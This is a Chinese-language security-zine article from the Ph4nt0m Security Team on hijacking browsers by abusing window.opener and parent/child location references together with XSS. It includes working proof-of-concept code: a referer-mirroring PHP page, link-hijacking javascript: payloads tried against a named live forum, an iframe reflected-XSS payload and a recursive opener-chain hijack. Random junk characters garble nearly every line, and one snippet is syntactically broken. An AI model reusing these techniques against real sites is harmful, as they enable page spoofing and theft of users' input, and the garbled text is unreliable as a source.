==Ph4nt0m Security Team==
D( ~! U, A) ?+ O
4 u. i! o; G/ Q, d+ D2 f: @0 ? Issue 0x03, Phile #0x05 of 0x07
8 ]+ }5 L# ]0 @6 s 7 p4 J% |3 V; U8 X5 E3 P
& p- c. N$ G0 ?' ], o* A5 h
|=---------------------------------------------------------------------------=|
0 {9 g& K7 z6 x5 ?- w D# C|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|5 ]1 q# r$ V; T k7 q
|=---------------------------------------------------------------------------=|
$ I3 D2 \; y6 R5 Q* V|=---------------------------------------------------------------------------=|
9 A4 G: R7 d2 f/ s/ B6 n|=------------------------=[ By rayh4c ]=---------------------------=|
i; m6 K2 G+ h|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|3 y! ^3 K* z+ E
|=---------------------------------------------------------------------------=|% T; s$ j4 Q4 ]: Y' ~
- p. f& v$ M: }1 |+ x
4 r: ?* Y- [+ j% A! y2 _) R, k9 p) s' {[目录]
# U: b. r$ [4 H3 D b/ }2 L* }5 o7 A& X- k3 j
1. 前言2 N6 D4 I8 u. X) e8 z
2. 同源策略简叙2 E. c0 Q5 q% [% d
3. 理解window对象的同源策略
3 A7 ?, b ~5 H& Z) ?. u: E4. 窗口引用功能中的同源策略漏洞
! G; W/ {' z' R9 w p" f 4.1 父窗口引用子窗口的同源策略问题
! ?( @3 ~6 |9 K" J% K* ? 4.2 子窗口引用父窗口的同源策略问题
. C# j- \/ c8 |5 q5 }' k5 j3 F5. 利用窗口引用漏洞劫持浏览器
2 C( c7 G/ f+ _' }# t$ ]$ F- H/ I6. 利用XSS漏洞劫持浏览器7 \, V- _& `, t$ u+ Q$ }
6.1 正向跨窗口劫持+ W/ w5 x, y, E# R5 x9 o
6.2 反向跨窗口劫持1 g) S7 D* R9 Q$ G: N% K0 I
6.3 极度危险的跨框架窗口引用劫持
* ~- h. U4 r8 L 6.4 极度危险的正反向跨窗口递归劫持
1 y% u2 c7 w# C- u2 o! ` 6.5 完全控制浏览器
0 t, b8 Q+ s! P s$ A# }; F& C7. 后记$ _( A- v- }+ l3 G% c6 r7 S
8. 参考
1 j' E, n1 {* Y0 S \0 m Q" X# S: Y1 _* [8 a
, L" }6 B: i% i: ?( N. g一、前言
7 @0 D5 k8 y& U$ x! X* O0 ^8 p% g
& p4 v7 x5 e/ m 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋) z" e+ P2 @ k4 }0 P
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session% r7 x$ S+ q+ ]; k% T m, u1 c
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
& t' b6 T+ D" L/ O0 q条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
, c+ _ q, r! f5 }4 D8 ]$ ?
, S; j; G% q3 @% m9 J4 F4 M- V* X" h8 L9 R" O- z" m
二、同源策略简叙+ n e! e; u- i' G! z. B2 M5 l2 ^
/ P. S/ {- q, [( Q# a1 S9 y2 m, R 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
$ R, T; Z( z9 D; I& z, v/ I从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
# O5 x1 g& [8 G' U曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木7 P8 T3 [+ G9 i( ?0 J
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个/ V+ a# ]! W% P6 K0 s( \8 ^
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。8 N, o; Q6 H% B2 w6 z- g6 {
" \7 T0 Z8 A% l5 X' J& c9 b
" ]8 E# u n# n# t9 n# b, Z4 z
三、理解window对象的同源策略
; r/ h" S* ]9 A& J3 b
: @/ {4 x" T( I5 t; ]' G 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
) g" [$ n+ p: b( c c m6 x9 I象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:7 E$ y* d* X; D. u, l; b( m2 Z
5 q" [! A2 N6 ~" D
--code-------------------------------------------------------------------------
: ]( Y9 v' i$ U4 H# D O( g. u+ E<script language="javascript">* x' [( ^0 B/ ?$ d y
for(p in window) document.write(p+"<br>");( L1 {) M3 E% g) |8 j
</script>; `) C; `5 V+ k4 H
-------------------------------------------------------------------------------$ T6 W: V2 m1 ]- I* V9 Z
; P4 b% c6 _" n* q n9 ]( }
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
) A; R' M7 U1 j3 @' T/ b" C P* B法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,+ Y) I6 t/ i. h, Q4 o
这些属性和方法就必须遵循同源策略。
6 T8 k+ D7 q9 Q- b
: E* G. |/ A: ]/ ]6 y# }8 s8 H( i 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那( G, d! o1 l+ s
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
) D/ l% d8 [! ]- h3 ` M的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这5 s9 L7 _5 B: U% a9 y$ \* D' B4 d2 K
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的6 f- E% `4 r: `' X& U
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
4 |; Z6 s+ D. u9 C) ?4 D( N# k属性并没有被拒绝访问。
$ s$ Z/ z5 s0 y S7 g. f. J; w8 k% R# X# |
--demo.html--------------------------------------------------------------------
* U6 q2 J* e: ?2 b& Q" N<script language="javascript">
0 ?0 A9 X8 `8 X: Z/ X$ f6 @function allPrpos(obj) {
) d+ g+ V+ [) }" L9 S var props = "<table><tr><td>名称</td><td>值</td>";
0 e& N& L: B; h$ N& }2 Y for(var p in obj){
, P, Z" _$ E3 t. M$ |; M; y if(typeof(obj[p])=="function"){ ! m- W+ @# G7 y( s7 ^
obj[p](); 6 C1 {& I, g( K8 j
}else{ 0 w" A3 F( f- _. e* B' H/ i! [
try 2 A- E; i* X- ]# C
{
) R: V$ m) q2 V4 c props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
; W; ] z2 |8 A2 Z5 s( g } ) a; p3 R4 \" e) m o
catch (ex) , s/ G0 {) J) j$ x
{
y) t4 y/ r! r4 l8 i2 ?) v+ ^ 9 \2 G# N( ?$ q4 U( N+ k# m
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; 8 }3 P! u( Z1 b$ K$ y
} / Y7 _* O ?3 t- {" g" a
: k) w9 \' j) j } 2 Q# M$ y4 f1 V7 Z6 n9 x. Q& D
}
$ E& r( {& o$ B# u' M # X! R+ t. ?. x9 x, `" O0 U
document.write(props+"</table>");
$ ]* \+ j' X6 O z} ' s3 d# B5 Z; L# ?4 r1 m3 k" F
9 ^% `( {0 c% ]- ^) z: E1 L; r) ]" v
function createWin() {
' e0 F- l9 t) I" n$ m" N0 T newWin = window.open ("http://www.google.com");
: ]2 P# c+ k* G9 T setTimeout(function(){allPrpos(newWin)},2000);
& Q/ }9 B+ Z Y# O* q# Q}
7 F z; a0 N/ M% q. ]' [) ^; R0 L1 P! X0 X
</script>
, Z2 T0 Z, t# u4 m& D8 W7 p, v4 r
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
9 v# w/ P$ a K; V! c% F-------------------------------------------------------------------------------
- b! Z1 A- c7 o% N. R2 D: A/ Y0 j5 y0 X* e
( q! w( L/ k2 V; F5 S3 n( g
四、窗口引用功能中的同源策略漏洞1 v3 q+ d% {0 \
6 z9 j9 I# Q# G4.1 父窗口引用子窗口的同源策略问题
( ~# j# R6 F) ?/ S: c/ _/ x
9 U }; ~5 n* t/ Q* I) |: v 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
$ E2 Y) g) m0 P {5 `) d但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道# V p A) ] N M) {, [
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
" I& I' s. A6 b! D行测试,会发现父窗口可以控制非同源子窗口location属性值。
) P5 m4 s) z: y9 R5 K! V) ] |& R
+ l9 s( O+ ?" Z8 ?% y# a--vul1.html--------------------------------------------------------------------! y; M2 l) }! Z, ~, @
<script language="javascript"> 7 t( E+ m$ f$ U1 n1 g6 u5 m# n
function createWin() {
3 I& F" c* q: V newWin = window.open ("http://www.google.com");
3 g- L7 J& W$ A) @/ v setTimeout(function(){newWin.location="http://www.80sec.com"},2000); 4 S& I2 d) q2 X5 k) m( ~
}
% @1 r7 R, i2 ?8 N, R: G3 E% a</script>
1 T* N* a3 e& v' T. v; V# ~4 e, a9 O/ @* n8 p @% \! L
<button onclick='createWin()'>创建一个非同源子窗口测试</button>% W* @" ^" S$ K4 ]4 A! n
-------------------------------------------------------------------------------
6 r8 U+ J$ H. s2 k8 P$ T# O
* d- _2 f+ t9 d5 C3 b% x
0 k# A6 B. O6 ~8 Q+ y- }/ a, O4.2 子窗口引用父窗口的同源策略问题
- Y: {* b( H; M+ X! d/ [% f
9 x" X [$ \# s# f1 V: } 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使/ m7 z6 {7 s/ E2 Q
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们0 V0 J& m4 p/ ]1 V# |0 u
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定. q, c1 S1 q v: l
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
* I5 W5 x* K8 B5 a6 a) s# s+ y8 s. E
--code-------------------------------------------------------------------------
8 h- A9 [1 C) B# u" h' C3 j8 @
+ P0 h* Q/ }; pjavascript:window.opener.location = "http://www.80sec.com";void(0);
/ s# `' z7 Y. M( ~2 R+ A1 i
+ @1 C+ J* A( L5 g-------------------------------------------------------------------------------& R" |5 i/ {# J% J" T' `; e
* ?" q: G3 O6 D9 y. C
1 P) c! ^ q' u/ z* K. x4 I3 _五、利用窗口引用漏洞劫持浏览器
( J# b' A& ^7 }. b1 Z/ J9 k0 s$ w! F/ C e
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子$ D& f- ^ C, o7 s, r x4 W
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那8 `6 i. u2 N# K
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。0 r) B! K5 _; Q
+ ]; M. E$ s. Y- D 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
, ?) ^) p% K3 e" V! z! p生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
) {; y2 ^9 X2 p+ H- b* k者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接( U9 O5 r; t: x8 e$ W( f
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
) J G* r: h% r! r会产生什么可怕的后果。" F+ e* ?+ {6 Q g# M. @& a
! i4 ~$ F4 C- ?3 K% F5 m( B 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
9 M7 w; O5 g: L7 [们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php8 ^3 D$ }1 b* J: R
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时6 x3 d$ z) ~5 d, i& a* j
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可/ O0 J1 U5 o2 e% B8 J5 T
以做更多的事情,所有的一切仅仅是因为点击了一个链接。) P4 Y7 x: r! g5 n5 S: T0 {4 V' e$ c
2 {" ~0 r/ O2 c7 {8 \7 X3 F' q9 `--hjk_ref.php------------------------------------------------------------------5 V l/ ?7 c1 ]5 ?' c. T
<?php
4 c- F. U& T; aif (array_key_exists("HTTP_REFERER", $_SERVER)) {
! w. E# I$ k. ~& Y2 C$Url_Mirror = $_SERVER["HTTP_REFERER"];
% n% N9 Q1 j+ w( ^+ ^6 f1 n6 s% a% _}
( _3 A; b% G; r2 jif(isset ($_GET['ref'])) {
' {7 w- h4 s" W; Xecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
4 d( ^) V9 H# E7 m" ~5 |6 `}; I! n: S, B" B9 S+ X) D
?>
9 P/ K5 Z4 C5 G, A0 }6 k" L; t8 `9 _) U
<script language="javascript">: M/ f' l$ u: C. X7 N
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); 3 d4 ]) w6 W1 N2 O
</script>/ `. \9 I6 R7 i1 ]2 ]! w0 j
-------------------------------------------------------------------------------# L& z5 T8 G U1 r2 W/ y6 [: l
0 y8 j2 E- a% ]( C) p
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
`! l; O F$ J1 i! [$ ]8 _- t" S/ p3 G9 l' g' k3 _) Y. Q% ?) D
. Y5 v( X* G8 V2 ^& |' o: X六、利用XSS漏洞劫持浏览器5 t7 c( t K+ l0 [# f7 k1 }
; B0 s9 y) R3 H. g$ o2 ^, w
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
' E1 V4 P c# [持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后3 K2 g" h6 |; u( V+ Q
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起 f( z; ~9 ~( Q' ? |
讨论跨站师的终极技巧:: j0 K2 ^3 G% F. y, K4 s
8 i$ Z) _% h# P) d. c
3 P8 H! }/ b- l6 y5 V, x: N8 E6.1 正向跨窗口劫持
# D/ }) K1 z2 t! e8 y; C+ y( K N/ \8 t! r
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛9 N0 | a) A1 C1 J/ v
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链8 X) V5 T, P0 a) P/ J
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话 O4 Z. E2 c/ ]
框脚本。 ; E# B) ~6 ?6 D5 ^1 _) z! O( S% F$ }1 L
. z2 U* ~; P# ]* ?. V; ~0 e5 `, F--hijack_open.js---------------------------------------------------------------& O8 _% u& D B5 Z5 z% p6 l
6 X" f7 o- m# H, v7 q) tjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
* Y; G% [( p- D! M0 ?& f
% b0 h9 ~9 w* `* E A/ R-------------------------------------------------------------------------------
, e) ^0 @7 O0 g- Q
" h6 r9 w! |* C. b3 I: L
5 F5 Y" O! ^6 y) ?( L9 o6 P6.2 反向跨窗口劫持, Q' X" s3 I2 T
. r1 e* ^3 n! i7 I
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代0 L7 s" i- R! M m+ r
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
7 l8 M- o. h0 d0 T+ K框脚本。
# S8 \3 Y. W4 F! }/ o
5 P) H- {8 o( a9 d) u) s--hijack_opener.js-------------------------------------------------------------) M8 c* u+ n( o6 Y) w. P
( g$ ~; E4 L6 x! G' M5 Ajavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
3 T( f, _$ }$ Y5 V+ z& F) H
' ?. r z1 B( z1 s- Y" T+ _# \-------------------------------------------------------------------------------- t# c9 s% j" [) m
% E* h6 c" p; f$ q. z; A, T6 o
3 X) d- ]- d1 v" R, r6.3 极度危险的跨框架窗口引用劫持 ]$ |3 q" i$ p6 z* Y; ?
' K& b: P# [0 n3 ?. B" s7 N6 F
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞: @" E+ ]6 P1 O$ {- V
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
3 {& }. R, Z9 A适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
, ~* @3 K; P5 G非持久型的XSS,如下:$ R* h) Z! k+ I/ i
4 J7 t& Q6 v% X1 N5 o- ?<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>( V% g( {% H6 }1 T& b- R
! H, Q8 Z0 G% c
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口( R6 y5 y0 T/ n& V
注入脚本。2 q- N# `. D: ^7 t
6 Y1 ]" G& E: a& W4 Q: y--hijack_frame_opener.js-------------------------------------------------------, u* V' N1 ~( z) n
<script>
0 A$ `& Z* E- G# r1 ~window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";; C2 S! i& J4 y( k- t
</script>' h4 N3 n4 H( `
-------------------------------------------------------------------------------
- T9 F3 w6 Y2 U# t( ~' W- n: D( [* }1 w! h# z# G, }6 B6 j& u- Y
8 j3 t% M! X3 ?, y9 G6.4 极度危险的正反向跨窗口递归劫持% H: R9 W. p/ F D" l, U
8 E; D; Y# T8 V0 ~: h. F luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
! `. K/ T" `1 l. `的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
. J8 s6 R. S0 j& T0 S4 [ I) t% }( J2 a异常处理规避之间跨域页面的访问异常,代码如下:1 b) g" d$ u% ^8 V# o
8 Z/ c' D2 n( J+ b/ k--code-------------------------------------------------------------------------# I7 Y4 _( D0 v- k$ M8 f
+ @# U7 M) ?0 N8 _9 ~
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);3 u5 o1 X6 X3 Z. p& b( q
3 }& `! `, x$ L; I, N6 E-------------------------------------------------------------------------------7 U6 N1 Z$ e2 T
; Z( ~) x2 T8 P7 P: P) x6 O
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可) R! w+ w7 h; C# Q7 E1 {
以劫持B域之前的A域页面,从而实现“隔空打击”。
6 {5 ]# u& n* c
, h% `3 |: o( {# t 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
+ a/ i* `' ?/ l+ _7 A5 x( u执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。7 P8 h- c) p8 K4 {+ S* o8 w+ ]8 E
9 {6 ^: |3 j( D- U 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。4 Z7 l+ L. V5 n2 Z2 D, Z# i
. L, t2 ^3 q, E2 n) C0 V
" B5 K- B9 t, y# O1 }6.5 完全控制浏览器
! p# } |! z% a, K( I" K6 d3 y: e5 x# r! D5 X
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则" F0 q9 p. e+ l; T4 X
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
" R% }" J+ t- [: m4 E: V7 U漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
$ q0 G' L8 a j7 Q& K而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再: N' N# U R2 J
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站; b) u1 V4 z4 m; @7 M1 |. l" t1 ?
师的终极目标 - 完全控制浏览器。
! Q# g- e: W9 [ u
# A$ \$ o5 N1 q* Z% @
" u$ [2 O% f6 R: P8 \七、后记
% J# m' j; Q2 n9 f( \
. O# c( w4 Q1 z2 K" E 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
9 P) Y% @4 o3 A9 ] H* _4 g与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
* Q, q* ?+ ]$ C$ X+ L, y; }6 s; I& ]过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。6 D. K( P! S) a
* T1 E8 j# M# l, h
6 C8 s* A- _! |' T! G八、参考) u0 q& S8 ?( I( |
! U5 B0 H7 D7 g1 n+ v3 G3 ?
1. http://en.wikipedia.org/wiki/Same_origin_policy4 L3 ?( r. ?7 ?; Y
2. http://code.google.com/p/browser ... licy_for_DOM_access
% H7 C" y9 M0 R0 \7 m. i6 c( t( O9 @: l3. http://www.w3.org/TR/Window/1 ?6 k) C* H. Q" a
4. http://www.80sec.com/release/browser-hijacking.txt$ {1 A* g! Z: E! ?0 T
5. http://www.80sec.com/all-browser-security-alert.html5 a9 F v0 x! x
6. http://www.80sec.com/ms08-058-attacks-google.html3 T j6 E) [1 z6 {/ P* S; D
3 d/ T7 L6 [, X! v: U8 K& p2 f9 c-EOF- |